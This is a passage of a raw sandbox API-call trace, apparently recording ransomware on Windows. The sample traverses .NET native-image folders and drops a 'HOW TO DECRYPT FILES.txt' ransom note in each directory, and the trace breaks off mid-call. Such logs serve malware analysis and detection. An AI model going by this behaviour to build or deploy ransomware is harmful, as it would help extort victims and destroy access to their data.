PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiExtens\\*.*") returned="*.*" [0107.304] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiExtens\\", lpString2="d122f8c71cdd586e76d9617f80a0297f" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiExtens\\d122f8c71cdd586e76d9617f80a0297f") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiExtens\\d122f8c71cdd586e76d9617f80a0297f" [0107.304] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiExtens\\d122f8c71cdd586e76d9617f80a0297f\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f89fe40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f89fe40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f89fe40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.306] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.306] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f89fe40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f89fe40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f89fe40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.306] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.306] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.306] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x303cb56c, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x303cb56c, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x9a9fa66d, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x61200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ehiExtens.ni.dll", cAlternateFileName="EHIEXT~1.DLL")) returned 1 [0107.306] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.306] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ehiExtens.ni.dll") returned -1 [0107.306] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ehiExtens.ni.dll") returned 1 [0107.307] lstrcmpiA (lpString1="", lpString2="ehiExtens.ni.dll") returned -1 [0107.307] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiExtens\\d122f8c71cdd586e76d9617f80a0297f\\*.*") returned="*.*" [0107.307] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiExtens\\d122f8c71cdd586e76d9617f80a0297f\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiExtens\\d122f8c71cdd586e76d9617f80a0297f\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiExtens\\d122f8c71cdd586e76d9617f80a0297f\\" [0107.307] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiExtens\\d122f8c71cdd586e76d9617f80a0297f\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiExtens\\d122f8c71cdd586e76d9617f80a0297f\\") returned="" [0107.307] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiExtens\\d122f8c71cdd586e76d9617f80a0297f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiExtens\\d122f8c71cdd586e76d9617f80a0297f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiExtens\\d122f8c71cdd586e76d9617f80a0297f\\HOW TO DECRYPT FILES.txt" [0107.307] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiExtens\\d122f8c71cdd586e76d9617f80a0297f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\ehiextens\\d122f8c71cdd586e76d9617f80a0297f\\how to decrypt files.txt")) returned 0xffffffff [0107.307] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiExtens\\d122f8c71cdd586e76d9617f80a0297f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\ehiextens\\d122f8c71cdd586e76d9617f80a0297f\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.336] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.340] CloseHandle (hObject=0x90) returned 1 [0107.340] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiExtens\\d122f8c71cdd586e76d9617f80a0297f\\", lpString2="ehiExtens.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiExtens\\d122f8c71cdd586e76d9617f80a0297f\\ehiExtens.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiExtens\\d122f8c71cdd586e76d9617f80a0297f\\ehiExtens.ni.dll" [0107.340] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiExtens\\d122f8c71cdd586e76d9617f80a0297f\\ehiExtens.ni.dll", pszSpec="*.ems") returned 0 [0107.341] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x303cb56c, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x303cb56c, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x9a9fa66d, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x61200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ehiExtens.ni.dll", cAlternateFileName="EHIEXT~1.DLL")) returned 0 [0107.341] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.341] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f89fe40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f89fe40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f89fe40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="d122f8c71cdd586e76d9617f80a0297f", cAlternateFileName="D122F8~1")) returned 0 [0107.341] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.341] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5fc31f40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5fc31f40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5fc31f40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x680065, dwReserved1=0x450069, cFileName="ehiiTv", cAlternateFileName="")) returned 1 [0107.341] lstrcmpA (lpString1=".", lpString2="ehiiTv") returned -1 [0107.341] lstrcmpA (lpString1="..", lpString2="ehiiTv") returned -1 [0107.342] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0107.342] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="ehiiTv" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiiTv") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiiTv" [0107.342] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiiTv\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5fc31f40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5fc31f40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5fc31f40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.343] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.343] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5fc31f40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5fc31f40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5fc31f40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.343] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.343] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.343] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5fc31f40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5fc31f40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5fc31f40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="4a7ec1155d9e9e4b40889b171d16a577", cAlternateFileName="4A7EC1~1")) returned 1 [0107.343] lstrcmpA (lpString1=".", lpString2="4a7ec1155d9e9e4b40889b171d16a577") returned -1 [0107.343] lstrcmpA (lpString1="..", lpString2="4a7ec1155d9e9e4b40889b171d16a577") returned -1 [0107.343] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiiTv\\*.*") returned="*.*" [0107.343] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiiTv\\", lpString2="4a7ec1155d9e9e4b40889b171d16a577" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiiTv\\4a7ec1155d9e9e4b40889b171d16a577") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiiTv\\4a7ec1155d9e9e4b40889b171d16a577" [0107.343] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiiTv\\4a7ec1155d9e9e4b40889b171d16a577\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5fc31f40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5fc31f40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5fc31f40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.346] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.346] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5fc31f40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5fc31f40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5fc31f40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.346] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.346] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.346] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x303cb56c, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x303cb56c, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x9b1dcf5b, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x2fe00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ehiiTv.ni.dll", cAlternateFileName="")) returned 1 [0107.346] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.346] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ehiiTv.ni.dll") returned -1 [0107.346] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ehiiTv.ni.dll") returned 1 [0107.346] lstrcmpiA (lpString1="", lpString2="ehiiTv.ni.dll") returned -1 [0107.346] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiiTv\\4a7ec1155d9e9e4b40889b171d16a577\\*.*") returned="*.*" [0107.346] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiiTv\\4a7ec1155d9e9e4b40889b171d16a577\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiiTv\\4a7ec1155d9e9e4b40889b171d16a577\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiiTv\\4a7ec1155d9e9e4b40889b171d16a577\\" [0107.346] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiiTv\\4a7ec1155d9e9e4b40889b171d16a577\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiiTv\\4a7ec1155d9e9e4b40889b171d16a577\\") returned="" [0107.346] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiiTv\\4a7ec1155d9e9e4b40889b171d16a577\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiiTv\\4a7ec1155d9e9e4b40889b171d16a577\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiiTv\\4a7ec1155d9e9e4b40889b171d16a577\\HOW TO DECRYPT FILES.txt" [0107.346] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiiTv\\4a7ec1155d9e9e4b40889b171d16a577\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\ehiitv\\4a7ec1155d9e9e4b40889b171d16a577\\how to decrypt files.txt")) returned 0xffffffff [0107.347] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiiTv\\4a7ec1155d9e9e4b40889b171d16a577\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\ehiitv\\4a7ec1155d9e9e4b40889b171d16a577\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.349] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.349] CloseHandle (hObject=0x90) returned 1 [0107.349] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiiTv\\4a7ec1155d9e9e4b40889b171d16a577\\", lpString2="ehiiTv.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiiTv\\4a7ec1155d9e9e4b40889b171d16a577\\ehiiTv.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiiTv\\4a7ec1155d9e9e4b40889b171d16a577\\ehiiTv.ni.dll" [0107.349] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiiTv\\4a7ec1155d9e9e4b40889b171d16a577\\ehiiTv.ni.dll", pszSpec="*.ems") returned 0 [0107.350] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x303cb56c, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x303cb56c, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x9b1dcf5b, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x2fe00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ehiiTv.ni.dll", cAlternateFileName="")) returned 0 [0107.350] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.350] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5fc31f40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5fc31f40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5fc31f40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="4a7ec1155d9e9e4b40889b171d16a577", cAlternateFileName="4A7EC1~1")) returned 0 [0107.350] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.350] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e0f83a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5e0f83a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5e0f83a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x680065, dwReserved1=0x690069, cFileName="ehiProxy", cAlternateFileName="")) returned 1 [0107.350] lstrcmpA (lpString1=".", lpString2="ehiProxy") returned -1 [0107.350] lstrcmpA (lpString1="..", lpString2="ehiProxy") returned -1 [0107.350] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0107.350] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="ehiProxy" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiProxy") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiProxy" [0107.350] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiProxy\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e0f83a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5e0f83a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5e0f83a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.352] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.352] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e0f83a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5e0f83a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5e0f83a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.352] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.352] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.352] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e0f83a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5e0f83a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5e0f83a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="50691bdee045a2df00f00ac461844c5f", cAlternateFileName="50691B~1")) returned 1 [0107.352] lstrcmpA (lpString1=".", lpString2="50691bdee045a2df00f00ac461844c5f") returned -1 [0107.352] lstrcmpA (lpString1="..", lpString2="50691bdee045a2df00f00ac461844c5f") returned -1 [0107.352] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiProxy\\*.*") returned="*.*" [0107.352] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiProxy\\", lpString2="50691bdee045a2df00f00ac461844c5f" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiProxy\\50691bdee045a2df00f00ac461844c5f") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiProxy\\50691bdee045a2df00f00ac461844c5f" [0107.353] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiProxy\\50691bdee045a2df00f00ac461844c5f\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e0f83a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5e0f83a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5e0f83a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.353] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.353] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e0f83a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5e0f83a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5e0f83a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.353] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.353] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.353] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x303f16c7, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x303f16c7, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x8a3d6dca, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x125600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ehiProxy.ni.dll", cAlternateFileName="")) returned 1 [0107.353] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.353] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ehiProxy.ni.dll") returned -1 [0107.353] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ehiProxy.ni.dll") returned 1 [0107.354] lstrcmpiA (lpString1="", lpString2="ehiProxy.ni.dll") returned -1 [0107.354] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiProxy\\50691bdee045a2df00f00ac461844c5f\\*.*") returned="*.*" [0107.354] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiProxy\\50691bdee045a2df00f00ac461844c5f\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiProxy\\50691bdee045a2df00f00ac461844c5f\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiProxy\\50691bdee045a2df00f00ac461844c5f\\" [0107.354] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiProxy\\50691bdee045a2df00f00ac461844c5f\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiProxy\\50691bdee045a2df00f00ac461844c5f\\") returned="" [0107.354] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiProxy\\50691bdee045a2df00f00ac461844c5f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiProxy\\50691bdee045a2df00f00ac461844c5f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiProxy\\50691bdee045a2df00f00ac461844c5f\\HOW TO DECRYPT FILES.txt" [0107.354] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiProxy\\50691bdee045a2df00f00ac461844c5f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\ehiproxy\\50691bdee045a2df00f00ac461844c5f\\how to decrypt files.txt")) returned 0xffffffff [0107.354] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiProxy\\50691bdee045a2df00f00ac461844c5f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\ehiproxy\\50691bdee045a2df00f00ac461844c5f\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.357] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, 